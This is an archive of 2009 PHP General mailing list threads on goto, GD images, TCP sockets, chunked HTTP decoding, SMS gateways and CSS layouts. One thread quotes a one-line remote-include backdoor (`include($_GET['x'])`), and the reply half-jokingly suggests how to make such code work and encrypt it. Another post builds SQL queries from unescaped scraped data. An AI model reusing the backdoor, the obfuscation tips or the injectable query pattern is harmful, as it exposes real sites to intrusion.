Robert Cummings wrote: On Thu, 2009-05-07 at 09:33 -0400, Tom Worster wrote: On 5/6/09 9:31 PM, Clancy clanc...@cybec.com.au wrote: I can understand your reluctance to disregard your mother's advice, but unfortunately she had been brainwashed to accept the dogma of the day. actually, i don't believe so. she did numerical work so she continued using fortran and therefore gotos for the rest of her life. i think she just didn't like goto. moreover, she was never dogmatic on any topic, it wasn't in her nature. anyway, how do you know how she came by her opinions? Because that's how most people came by their opinion of goto? How did you come by your opinion of goto? Oh yeah, your momma! Here let me open your eyes a bit... I've done a grep on the PHP 5.2.9 source code, Apache 2.2.11 source code, and MySQL 5.1.33 source code for use of goto: PHP 5.2.9: http://pastebin.com/f6b88957 Apache 2.2.11: http://pastebin.com/f2c7f5d93 MySQL 5.1.33: http://pastebin.com/f4441a891 It would seem that goto has a lot of use in modern code. Just because someone tells you something, doesn't mean you should believe it at face value. Goto has many important uses in programming. The goto that was spurned is not really the goto in use today. The goto in use today generally has scope within a well defined context such as a function. Cheers, Rob. further a switch statement pretty much is a goto (well a multiway goto), and as I mentioned couple of days ago continue is pretty much a goto as well - think its technical term is a continuation which is v similar to a computed go to. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php-general@lists.php.net, Tim-Hinnerk Heuer has invited you to open a Google mail account
Lenin wrote: Yeah gmail is a nice thing :) The best ever mailing system world has ever seen until now. Because now you can get new LeninMail from phpXperts - it works offline, it works in your fridge, you car, your bath, everywhere conventional mail doesn't work. LeninMail combines all the power of E with all the functionality of G to give you a new experience unparalleled by any other technology. Sheena from Cambridge: LeninMail is sooo good, all I need is one spoonful in my bath and I'm ready to communicate, stubborn limescale used to be a real headache, but now I just LeninMail it away. James Smith JNR from Ghana LeninMail is amazing - its handy SendAnythingAnywhere feature has allowed me to be lmailing my grade A spam from everywhere I go - and with LeninMails ForceItThrough technology I know my spam will be penetrating millions of peoples brains in seconds. LMail has made me rich and now I have 60 million that I need to transfer to you, all you need to do is send me a 1% security fee to.. L is over FIVE letters after G and even more than E - so much power - such bigger numbers. BANG and the mail is gone. Get LeninMail from all good phpXperts stockists NOW! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Can includes be used for head tags?
Gary wrote: Thank you to everyone again for your help... Gary Gary gwp...@ptd.net wrote in message news:52.b9.21821.82558...@pb1.pair.com... I was thinking of creating a php include for the meta tags for a site. Is this possible? Gary just an idea.. if you ran the content of the page through a semantic extractor such as open calais or yahoo term extraction, then that'd be 100%(ish) accurate meta keywords without you worrying. but as everybody else said - yes -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Trying to create a colortable - what am I missing here?
דניאל דנון wrote: I've tried to make a color table, but I am missing something. not in the color-table-code itself, but in somewhere else... I just can't find... untested but try.. // 4096*4096 = 16777216 = FF+1 $im = imagecreate(4096, 4096); $white = imagecolorallocate($im, 0, 0, 0); $r = $g = $b = $x = $y = 0; $max = 255; while ($r = $max) { while ($g = $max) { while ($b = $max) { $n = imagecolorallocate($im, $r, $g, $b); imagesetpixel($im, $x, $y, $n); $x = $x == 4096 ? 0 : $x+1; $y = $y == 4096 ? 0 : $y+1; $b++; } $b = 0; $g++; } $g = 0; $r++; } header(Content-Type: image/png); imagepng($im); imagedestroy($im); -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Nasty hacker spammer script
The Doctor wrote: Has anyone seen this before? if (trim($_GET['x'])!=''){...@include($_GET['x']);exit();} lol - that's really bad if you're going to waste your time exploiting peoples stuff at least: make it so it'll actually run something don't include your personal email in the script encrypt the malicious code. lol that has to be one of the lamest hack attempts I've seen -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: [php] tcp server connection
Andrew Williams wrote: Can someone help me about how to retrieve data using TCP server connection you'll need to be a bit more specific to get any useful help back mate.. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: [php] tcp server connection
Hi Andrew, You'll be needing the stream functions I'd guess (this si how I always do it, with no problems) http://php.net/stream_socket_client is your starting point. Many Regards, Nathan Andrew Williams wrote: I need to connect to server using IP connection to get raw data, process the raw data and display the data. I have the remote server IP, port number and login details. but I just want to know the best way to establish client to server connection via TCP On Tue, May 12, 2009 at 11:38 AM, Nathan Rixham nrix...@gmail.com wrote: Andrew Williams wrote: Can someone help me about how to retrieve data using TCP server connection you'll need to be a bit more specific to get any useful help back mate.. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Can includes be used for head tags?
tedd wrote: At 9:32 PM +0100 5/11/09, Nathan Rixham wrote: Gary wrote: Thank you to everyone again for your help... Gary Gary gwp...@ptd.net wrote in message news:52.b9.21821.82558...@pb1.pair.com... I was thinking of creating a php include for the meta tags for a site. Is this possible? Gary just an idea.. if you ran the content of the page through a semantic extractor such as open calais or yahoo term extraction, then that'd be 100%(ish) accurate meta keywords without you worrying. but as everybody else said - yes That's an interesting idea. But the point of meta tags (excluding Google because as i understand it, they don't consider them) is that the title of the page and meta tags description and keywords are supposed to be in harmony with the content of the page they are on. While one could create a semantic extractor that would create the perfect meta keywords and description for any piece of text, the perfect arrangement might not be what you actually want. Ah... I know exactly what you mean here, but the point is they always will be perfect for the content on the page, so if you review and they are not what you want, then it means your content needs rewritten / optimized to include the terms you want. No point trying to cheat a system which is ultimately just going to run it through a similar system to work out what the content is about! IMO, nothing replaces deliberate thought as to what you ultimately want SE's to index. If nothing else, it seems to work for me. While I get exactly, the phrase content is king leads though, and the content on the page together with its structure is probably the key factor - always worth listening to the SE's though, their job is to bring people to the content they want, so make content people want and the SE's will drive traffic to it; especially if you write pages that are not context aware - each page should make complete sense as an entity by itself, not only when you've read the pages previous. good reports from Google, Yahoo, AllTheWeb and AltaVista, I never seem to get my sites listed with MSN. Cheers, tedd MSN is a tricky one, assuming you're using their webmaster tools and have uploaded the validation files etc? cue many opinions.. ps: hi tedd :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: RES: [PHP] CURL problems still
Miller, Terion wrote: Well I tried it and still it stopped at the C's 1: your script is timing out, you need to set the time limit higher set_time_limit(0); 2: foreach($html-find('table') as $table) { $rows = explode('/tr' , $table ); $headerCells = explode('/th', array_shift($rows)); $struct = array(); foreach( $headerCells as $c = $cell ) { $struct[] = str_replace(' ', '_', trim(strtolower(strip_tags( $cell ; } $data = array(); foreach( $rows as $r = $row ) { $cells = explode( '/td' , $row ); $item = array(); foreach( $cells as $c = $cell ) { $item[$struct[$c]] = trim(strip_tags( $cell )); } $data[] = $item; $query = INSERT into `warrants` ; $query .= (name, age, warrant, bond, wnumber, crime); $query .= VALUES (; $query .= '{$item['name']}',; $query .= '{$item['age']}',; $query .= '{$item['warrant_type']}',; $query .= '{$item['bond']}',; $query .= '{$item['warrant_number']}',; $query .= '{$item['offence_description']}'; $query .= ); echo $query . \n; // run query here } } -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: RES: [PHP] CURL problems still
Nathan Rixham wrote: Miller, Terion wrote: Well I tried it and still it stopped at the C's 1: your script is timing out, you need to set the time limit higher set_time_limit(0); 2: foreach($html-find('table') as $table) { $rows = explode('/tr' , $table ); $headerCells = explode('/th', array_shift($rows)); $struct = array(); foreach( $headerCells as $c = $cell ) { $struct[] = str_replace(' ', '_', trim(strtolower(strip_tags( $cell ; } $data = array(); foreach( $rows as $r = $row ) { $cells = explode( '/td' , $row ); $item = array(); foreach( $cells as $c = $cell ) { $item[$struct[$c]] = trim(strip_tags( $cell )); } $data[] = $item; $query = INSERT into `warrants` ; $query .= (name, age, warrant, bond, wnumber, crime); $query .= VALUES (; $query .= '{$item['name']}',; $query .= '{$item['age']}',; $query .= '{$item['warrant_type']}',; $query .= '{$item['bond']}',; $query .= '{$item['warrant_number']}',; $query .= '{$item['offence_description']}'; $query .= ); echo $query . \n; // run query here } } 3: If this is your own site then don't read on, but if it's not your own site and this is a paid job for a client then.. do you not think there is something a bit wrong about taking on work which you obviously can't do, telling the client you can, then continually asking hard working people to take time out from their own working days to both teach you and complete your work for you? There is such an increase in people just saying I know PHP taking on work then getting the helpful people on this list and others to do it for them, and it really really sucks. If you can't do the work don't take it on, if you get genuinely stuck then ask - but don't just copy and paste a clients job description here with some random code and expect others to do it for you. In the time you've spent asking and waiting, you could have learnt how to do it yourself. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: irrational behavior
PJ wrote: Could somebody please explain this? When the line - sort($category) is commented out, the output returns Notice: Undefined offset: in the line 36 for all the repeats (29 in this case) The code below: ? $SQL = SELECT name FROM categories ORDER BY category_id ; $category = array(); if ( ( $results = mysql_query($SQL, $db) ) !== false ) { while ( $row = mysql_fetch_assoc($results) ) { $category[$row['name']] = $row; } //sort($category); $count = mysql_num_rows($results); $lastIndex = ceil($count/2 -1); //echo $lastIndex; $ii = 0; while ($ii = $lastIndex) { $cat = $category[$ii]['name']; //===this is line 36== $catn = preg_replace(/[^a-zA-Z0-9]/, , $cat); echo a href='../categories/, $catn, .php', $cat, /abr /; $ii++; } $ii = $lastIndex; //echo $category[$ii]['category']; while ($ii = $count -1) { $cat = $category[$ii]['name']; $catn = preg_replace(/[^a-zA-Z0-9]/, , $cat); echo a href='../categories/, $catn, .php', $cat, /abr ; $ii++; } echo /td/tr/table ; } ? The same phenomenon happens in another application using the identical code. I don't want to sort the category; that has been taken care of in the query. It just doesn't make sense that sorting would affect the count. :-( what your doing is: $category[$row['name']] which sets $category['some name'] an associative array. now when you do sort($category); you're sorting all results and assigning them to numerical indexes.. so now $category contains: $category[0] $category[1] $category[2] ... which is what you need seeing as you are cycling them as a numerical array. so sort is turning your associative array in to the needed indexed array. if you remove sort($category) and then change this line: $category[$row['name']] = $row; to $category[] = $row; you'll find it works without error. regards, -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] handling chunked input from php://stdin
Shawn McKenzie wrote: whisperstream wrote: I have a server running that receives xml formatted events from other services I have no control over. For certain events the transfer-encoding is chunked. I was just doing $input = file_get_contents('php://stdin'); and this works well until there is chunked input. Then I tried $handle = fopen('php://input', rb); $input = ''; while (!feof($handle)) { $input .= fread($handle, 8192); } fclose($handle); And that gives about the same result, has anyone else come across this and how did they solve it? Thanks in advance There aren't really many examples around, but check http_chunked_decode() from PECL. simples! function HTTPChunkDecoder( $chunkedData ) { $decodedData = ''; do { $tempChunk = explode(chr(13).chr(10), $chunkedData, 2); $chunkSize = hexdec($tempChunk[0]); $decodedData .= substr($tempChunk[1], 0, $chunkSize); $chunkedData = substr($tempChunk[1], $chunkSize+2); } while (strlen($chunkedData) 0); return $decodedData; } -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: [PHP ADVANCE] tcp CLIENT server connection and authentication
Andrew Williams wrote: Hi All, please, I need to connect to IP via a specific port en validate my user name and password to get data. Port : XXX7X Andrew, You're going to have some real fun with this one making the tcp connection is the least of your worries, sounds very much like a raw market datafeed to me, and not a nice xml based one, a lovely raw ascii one with all the string padded unsequenced ascii joys they hold. pointed you in the right direction yesterday with the stream functions.. open client connection fwrite messages in correct format fread responses and parse them then take required actions / save. close client connection that really is everything there is to it. Good luck -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: [PHP ADVANCE] tcp CLIENT server connection and authentication
Andrew Williams wrote: Hi, http://php.net/stream_socket_client does not have the option to supply authentication details and how do you supply that. is it chi-xmd your doing and do you have the API docs? as that'll tell you - if you don't let me know I have them here. On Wed, May 13, 2009 at 12:22 PM, Nathan Rixham nrix...@gmail.com wrote: Andrew Williams wrote: Hi All, please, I need to connect to IP via a specific port en validate my user name and password to get data. Port : XXX7X Andrew, You're going to have some real fun with this one making the tcp connection is the least of your worries, sounds very much like a raw market datafeed to me, and not a nice xml based one, a lovely raw ascii one with all the string padded unsequenced ascii joys they hold. pointed you in the right direction yesterday with the stream functions.. open client connection fwrite messages in correct format fread responses and parse them then take required actions / save. close client connection that really is everything there is to it. Good luck -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] SMS gateway
Daniel Brown wrote: On Wed, May 13, 2009 at 10:00, Manoj Singh manojsingh2...@gmail.com wrote: Hi All, I need to create the SMS functionality in PHP. Do you have any idea of Open Source SMS gateway which i can use? http://google.com/search?q=open+source+sms+gateway If you have any idea of how SMS works, you'll know it's not possible. SMS is a protocol built upon a network for which you'll be required to license (and pay for) access and usage. It's not a script you could install. indeed been down this avenue myself - best free way I could find of doing it for free(?) is to find the email address format for the major carriers (there is a list on wikipedia) then send an email to 241412341...@carrier.smstoemailgateway.domain where the numbers are the phone number. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Adding corners to image
דניאל דנון wrote: I am currently searching for the most efficient way to add corners to existing images. Not just round corners - pre-made colorful with pattern images. So first thing I'm thinking about what I'll need, and I think that for each corner I'll need: - Corner pattern - Straight-line pattern Do you agree? called a 9-slice - might get you going in the right direction. ps: really seems like the functionality you've been needing recently is more suited to flash/flex/as -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sending SMS through website
Andrew Ballard wrote: On Wed, May 13, 2009 at 1:55 PM, Per Jessen p...@computer.org wrote: kyle.smith wrote: Most carriers have email-to-sms bridges. For example, I use ATT Wireless and you can text me by sending an email to myphonenum...@txt.att.net. Do you end up paying for that then - or who pays for it? Besides, none of the carriers around here have email-to-sms interfaces, so I'd disagree with your initial claim. /Per -- Per Jessen, Zürich (18.0°C) It seems pretty common, at least with the few carriers I've dealt with in the US. As for payment, the sender doesn't pay anything (What are they going to do -- send a bill to the sender's e-mail address?) and the recipient pays standard rates for an incoming message. If it's within your monthly allotment, it's free. I don't know if there are quotas imposed to prevent someone from abusing the service. Andrew last test I did I found they were very tight with the allocation, made an email to sms update system for a site and the system was getting timeouts and rejections left right and center under even moderate traffic. I think its safe to say that for personal traffic and light updates you'd be fine, but nothing that would amount to any level of commercial grade server for even a medium sized app. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP]Cannot output the same data from text file in PHP
as far as i know you just send an email to: php-general-unsubscr...@lists.php.net and then reply to the confirmation - its a standard mailing list which you subscribed to at some point, no profiles or such like. Mike Roberts wrote: Is there a moderator or some responsible party who is in charge of this list. Please delete my profile and stop sending messages. This is the 6th such request. Sincerely, Michael Roberts Civil Engineering Executive Recruiter Corporate Staffing Services 150 Monument Road, Suite 510 Bala Cynwyd, PA 19004 P 610-771-1084 F 610-771-0390 E mrobe...@jobscss.com mailto:mrobe...@jobscss.com From: Moses [mailto:jam...@gmail.com] Sent: Thursday, May 14, 2009 5:19 AM To: php-general@lists.php.net Subject: [PHP]Cannot output the same data from text file in PHP Hi Folks, I have a written a script in PHP which outputs the result from a text file. The PHP script is as follows: ?php $alldata = file(result.txt); echo tabletrtd; foreach($alldata as $line_num = $line) { echo $line.br; } echo/td/tr/table; ? I have attached the result.txt file. However the output of the script is as follows: Query: 1 atggcaatcgtttcagcagattcgtaattcgagctcgcccatcgatcctcta 60 Sbjct: 1 atggcaatcgtttcagcagattcgtaattcgagctcgcccatcgatcctcta 60 which is not exactly as in the result.txt file in that the pipelines are displaced. Any pointer to this problem shall be appreciated. Thanking you in advance. Moses -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: suggestion required
Pravinc wrote: Hey all, I have one flex+PHP application. Main purpose of the site is to sell T-shirts online. Flex is used for generating different designs on available tshirt. Something similar to Cafepress dot com. I want to generate 300 DPI tshirt image from flex and send it to PHP side for processing. Now the question is Flex doen't support direct image generation. So flex send's a Bytearray for 300 dpi image which is quite Bigger.some time it crashes the browser while processing..because of heavy data.. And can not store in any of MySQL datatype. Also storing in a txt file is too much time taking process.. Any Suggestion or help to come out fron this issue.. Hi, ByteArray should be fine, simply ensure you pack it before sending, then unpack it and read the floats back out with php to get the pixel values, you can then recompile with gd or suchlike (set pixel methods) and save as an image. Your alternative is to go with flash player 10 specific action script 3 and use vectors or fxg (on this note there are also some svg parsers for action script, 3rd party for fp9) - this approach will give you the same results but substantially less bytesize - whilst giving you no loss in quality seeing as they are vectors) one recommendation I would make is to use display objects throughout the process clientside, then BitmapData.draw( DisplayObject ) to a BitmapData, then getPixels on that to get your bytearray at the last minute. If you really come up short you can look at using alchemy to embed some C processing code in there, it really speeds up the process of working with huge ByteArrays as the c code is preoptimised and runs much faster. Many Regards, Nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Software to read/write Excel to CD?
Paul M Foster wrote: On Thu, May 14, 2009 at 03:22:12PM -0500, Skip Evans wrote: Hey all, I'm inheriting a project that was unsuccessfully off-shored and is now in such bad shape (I've seen the code. It's awful) that they are firing the off-shore company and starting over. One of the things the other company said was possible, and I'm not familiar with... if I understand correctly, is to create a CD with not just an Excel spreadsheet, but software on that CD that when placed in another computer will open the spreadsheet, allow it to be modified and rewritten back to the CD. This is part of the requirements. Does anyone know of such software and its name? Maybe offshore, but not here. There are only two possibilities. First include a copy of Excel on the CD and somehow make it autorun. Yeah, Microsoft would *love* that. Second, include some other program which would do the same thing. Good luck with that. And now the kicker-- write the spreadsheet back to CD. Okay, maybe, if it's a CD-RW. But who's going to pay attention to that little detail? And as far as I know, writing to a CD is far more complicated than writing to a hard drive. You can't overwrite data on a CD-RW. Once written, it's written. You have to cover up the section that was written to (in software), and then write the contents again. Eventually, you'll run out of room. And it almost necessitates having a copy of some CD-writing software on the CD, since there may not be such software on the client machine. And all this assumes the user is running Windows. The binaries for one OS won't run on a different OS. Now, watch. Someone will get on and say, Oh sure, you can do that with such-and-such software. I did it the other day. In which case, just forget I said anything. ;-} Paul or take the easy approach and use a memory card instead - or better yet inform them that you are a web developer and in these crazy modern times you can actually do this online or even save to the internet - crazy as it may seem. and finally, the offshore company was fired for a reason, just say no they were talking bollocks but we can offer you x y and z google spreadsheets -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: php ssl connection timeout issue
Jerry Zhao wrote: Hi, I am having trouble connecting to https sites using php's builtin ssl functions. I tried: file_get_contents('https://securesite') fsockopen('ssl://securesite', 443, $errno, $errstr,20) and same errors every time: SSL: connection timeout Failed to enable crypto Call to openssl_error_string() returns no error. Curl worked both within php and as standalone client. The strange thing is that the connection seemed to be dropped immediately upon contact with the server, i.e., the call to the above functions failed immediately, which I think contradicts the timeout error. Any tips on the cause of this issue or how to debug this is appreciated. Regards, Jerry. assuming you've checked for mod_ssl and tried connecting up to an ssl server you know works fine? then check for bad ssl certificates on the remote server. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: php ssl connection timeout issue
Jerry Zhao wrote: I tried different combination of ssl clients and servers, it all points to problems on the client side of my new php build. The same code worked on an older php build. checked the output of print_r( stream_get_wrappers() );? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: php ssl connection timeout issue
Jerry Zhao wrote: On Thu, May 14, 2009 at 5:05 PM, Nathan Rixham nrix...@gmail.com wrote: Jerry Zhao wrote: I tried different combination of ssl clients and servers, it all points to problems on the client side of my new php build. The same code worked on an older php build. checked the output of print_r( stream_get_wrappers() );? Array ( [0] = php [1] = file [2] = data [3] = http [4] = ftp [5] = compress.bzip2 [6] = https [7] = ftps [8] = compress.zlib ) so you've got ssl support, next up you visited the url in a browser to check the ssl certificate? odds are it's invalid and that an exception has been made on the old php server -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
tedd wrote: At 2:06 PM -0400 5/15/09, Tom Worster wrote: for one thing, a table is a great way of representing relations (http://mathworld.wolfram.com/Relation.html). data tables are the canonical example but very often a form's structure is a relation, e.g. between labels and input fields, or between multiple input fields. some of the best designed and behaving web sites i know use tables in ways that a list apart would consider heathen. Heresy! :-) However, there are occasions such as in a calendar where not using a table would be more than difficult. I haven't received a decree yet as to IF that would be considered column data or not. I'm gonna differ on this one, when you simply float each calender item to the left you're pretty much done, in many cases i find it easier than tables. I have, and continue to use, tables for forms. The main reason given for not using tables is because they are not considered accessible by those with disabilities. However, people with disabilities generally don't have any problems with forms if the forms are properly labeled. So, I think that's acceptable, but am sure heathen in css terms. But whenever/wherever I can, I try to avoid using tables -- especially in layouts. IMHO the whole css vs table based layouts is a bit pointless, fact is that as web developers and designers we're struggling to fulfil clients needs, designers aesthetic demands and end user functionality using languages that really aren't cut out for the job. Sure we can manage to do and hack through things, but the second you move away from a conventional style document with some hyper links you've moved outside of the scope of html. So regardless of how we do it, we're fitting square technologies in to round holes. In fact the most fitting use of (x)HTML and CSS I've ever seen are the RFCs and Specifications on w3c.org - styled usable documents - not what many term as a website, and certainly not a flashy zippy glossy ecommerce store with a tonne of effects and even more functionality. It's a bit like creating a full glossy magazine in ms paint I guess. so ultimately i guess it's a case of 3 cheers and a round of applause for anybody who's thus far managed to create a website that works and that the client likes! regards :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: read the last line in a file?
Tom Worster wrote: imagine writing a script to run as a daemon reading data off the bottom of a log file that gets updated every few minutes and processing each new log line as they arrive. i could exec(tail $logfile, $lines, $status) every now and then. or poll the file mtime and run exec(tail $logfile, $lines, $status) when it changes. there will be some lag due to the polling interval. but it would be nice to not have to poll the file and somehow trigger the processing of the new line when the log file is written. but i'm not sure how to do that. any ideas? possibly the vaguest answer ever.. http://php.net/posix_mkfifo FIFOs -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
Ashley Sheridan wrote: On Sat, 2009-05-16 at 09:15 -0400, Robert Cummings wrote: On Sat, 2009-05-16 at 10:48 +0100, Ashley Sheridan wrote: On Sat, 2009-05-16 at 02:25 -0400, Paul M Foster wrote: On Fri, May 15, 2009 at 01:25:42PM -0400, PJ wrote: I know of no better place to ask. This may not be strictly a PHP issue, but... I am busting my hump trying to format rather large input pages with CSS and trying to avoid tables; but it looks to me like I am wasting my time as positioning with CSS seems an impossibly tortuous exercise. I've managed to do some pages with CSS, but I feel like I am shooting myself in the foot or somewhere... Perhaps I am too demanding. I know that with tables, the formatting is ridiculously fast. Any thoughts, observations or recommendations? I think it's pretty telling that on a list of professionals who create websites constantly, the overwhelming concensus is that for forms, tables are the preferred solution. I liken this sort of discussion to the dichotomy between movie critics and people who actually go and see movies. The critics inevitably have all sorts of snobby things to say about the movies which are best attended. I'm not sure why anyone listens to any critic on any subject. Paul -- Paul M. Foster I think the argument of tables vs css can go a little deeper too. These days, sites should not only be developed with good clean code that validates, but semantic markup. If your client doesn't like/know what this is, just give it to them in terms of seo! FWIW, everything I've read indicates that tables don't affect SEO. Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP SEO is not the be and end all. Accessibility is a legal thing in many countries; UK and Australia especially (they are the two most prominent I know) so there's no excuse for shoddy coding. I'm not saying that using tables inevitably leads to that, but more often than not, tables are used in such a way that the reading of a page is wrong because the elements appear in the code in the wrong order, even though they visually appear correct. It's not the responsibility of the speech/Braille browsers to interpret code designed for a seeing user. They should only have to interpret semantics. Rob; sorry, this isn't a pop at you, I just wanted to explain to anyone who got hooked too much onto the SEO line you mentioned. I agree with you in that respect though, I've never seen any evidence for tables having any impact on SEO, and I've done a lot of SEO research! Ash www.ashleysheridan.co.uk here's what I do.. I open the page in firefox, using chris pederick web developer toolbar I hit ctrl+shift+s (to disable css); and if the page doesn't look and read like a well formatted general document then I consider it to be made incorrectly. ash's site is a good example of it done properly, the only think he's missing is either a space between his navigation elements at the top of the page, or they could be popped in a ul. Really there is no excuse, I've never seen a layout yet that can't be created without tables, and haven't for many years - and the old I don't have the time / resources doesn't really float either, as once you've done it 2 or 3 times you can make table-less layouts at the same speed if not faster, not only this but they are far lighter (as less html). It's the equivalent of somebody coming here with ancient PHP 3 and advocating that they use it because they don't have time to learn or change to a newer version - only difference is that table based layouts are older than php 3 :p nath -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
tedd wrote: At 11:28 PM +0100 5/15/09, Nathan Rixham wrote: tedd wrote: However, there are occasions such as in a calendar where not using a table would be more than difficult. I haven't received a decree yet as to IF that would be considered column data or not. I'm gonna differ on this one, when you simply float each calender item to the left you're pretty much done, in many cases i find it easier than tables. Okay -- so you find them easier to use for this purpose. This is my little php calendar (not all the code is mine): http://php1.net/my-php-calendar/ and I use tables. I would not want to redo this script using pure css, but I probably will do it at some point. We all have investments into our code. Do you have a css calendar to show? hi tedd, didn't have one to hand so quickly knocked up a basic one here: http://programphp.com/Calendar/ all sizes etc are in em so it'll fully resize - you'll see in the source anyways - all css. have to say it's not great but it's just a quick demo to show it's more than possible. many regards, nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
tedd wrote: At 10:48 AM +0100 5/16/09, Ashley Sheridan wrote: Trust me, semantics are gonna be the next big thing, Semantics? What do you mean by that? And therein lies the problem -- what means something to me, may not to you. For example, if I make my header div id=header (or whatever) what makes it the same as yours? I think the next big thing will be an argument over meaning. :-) Cheers, tedd semantics already are the next big thing and have been for a year or three. google aquired the leading semantic analysis software many years ago and have been using it ever since, likewise with yahoo and all the majors. further we've all had open access to basic scripts like the yahoo term extraction service for years, and more recently (well maybe 2+ years) we've had access to open calais from reuters which will extract some great semantics from any content. if you've never seen then the best starting point is probably http://viewer.opencalais.com/ pretty sure yahoo (and maybe google) have been parsing rdf semantic data embedded inside comments in xhtml documents for a couple of years now, even the adding of tags generated by semantic extraction are common place now and make a big difference to seo. If however you mean document structure semantics such as using h* tags throughout the document in the correct places, then this is even older and everybody should be doing it - hell that's what an html document is! :p -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
tedd wrote: At 7:48 PM -0400 5/16/09, Stephen wrote: PJ wrote: I know of no better place to ask. This may not be strictly a PHP issue, but... I am busting my hump trying to format rather large input pages with CSS and trying to avoid tables; but it looks to me like I am wasting my time as positioning with CSS seems an impossibly tortuous exercise. CSS 2.1 makes layout easy ans IE8 passes ACID2. I have some javascript that detects the browser and warns users of IE 8 that they need to upgrade. Maybe bleeding edge for commercial sites, but helping the user upgrade is going them a favour. Stephen Stephen: Browser sniffing is a losing battle. Cheers, tedd agreed - complete and utter waste of time -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
Paul M Foster wrote: On Sun, May 17, 2009 at 08:40:33PM +0100, Nathan Rixham wrote: tedd wrote: At 11:28 PM +0100 5/15/09, Nathan Rixham wrote: tedd wrote: However, there are occasions such as in a calendar where not using a table would be more than difficult. I haven't received a decree yet as to IF that would be considered column data or not. I'm gonna differ on this one, when you simply float each calender item to the left you're pretty much done, in many cases i find it easier than tables. Okay -- so you find them easier to use for this purpose. This is my little php calendar (not all the code is mine): http://php1.net/my-php-calendar/ and I use tables. I would not want to redo this script using pure css, but I probably will do it at some point. We all have investments into our code. Do you have a css calendar to show? hi tedd, didn't have one to hand so quickly knocked up a basic one here: http://programphp.com/Calendar/ all sizes etc are in em so it'll fully resize - you'll see in the source anyways - all css. have to say it's not great but it's just a quick demo to show it's more than possible. It's very pretty, Nathan. *Except* in IE6, which is what probably most of the world is using. In IE6, the day labels are lined up one on top of each other, and there are no date cells at all. No numbers, no nothing. And therein lies the reason why people use tables. Paul and if every site a user visited was screwed in IE6 because the developers had made it without tables, maybe they'd all upgrade to something newer. you never know we might be bringing it on ourselves by still coding sites to be compatible with old browsers. When I go and buy a film I don't buy a vhs or a betamax.. because I can't - that industry simply stopped making them and if I want to own a new film I buy the dvd - I don't write to paramount and complain because I only have a betamax. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CSS tables
Paul M Foster wrote: On Sun, May 17, 2009 at 11:20:19PM +0100, Nathan Rixham wrote: Paul M Foster wrote: On Sun, May 17, 2009 at 08:40:33PM +0100, Nathan Rixham wrote: tedd wrote: At 11:28 PM +0100 5/15/09, Nathan Rixham wrote: tedd wrote: However, there are occasions such as in a calendar where not using a table would be more than difficult. I haven't received a decree yet as to IF that would be considered column data or not. I'm gonna differ on this one, when you simply float each calender item to the left you're pretty much done, in many cases i find it easier than tables. Okay -- so you find them easier to use for this purpose. This is my little php calendar (not all the code is mine): http://php1.net/my-php-calendar/ and I use tables. I would not want to redo this script using pure css, but I probably will do it at some point. We all have investments into our code. Do you have a css calendar to show? hi tedd, didn't have one to hand so quickly knocked up a basic one here: http://programphp.com/Calendar/ all sizes etc are in em so it'll fully resize - you'll see in the source anyways - all css. have to say it's not great but it's just a quick demo to show it's more than possible. It's very pretty, Nathan. *Except* in IE6, which is what probably most of the world is using. In IE6, the day labels are lined up one on top of each other, and there are no date cells at all. No numbers, no nothing. And therein lies the reason why people use tables. Paul and if every site a user visited was screwed in IE6 because the developers had made it without tables, maybe they'd all upgrade to something newer. No, they'd simply go elsewhere for their product/service/information. Moreover, they 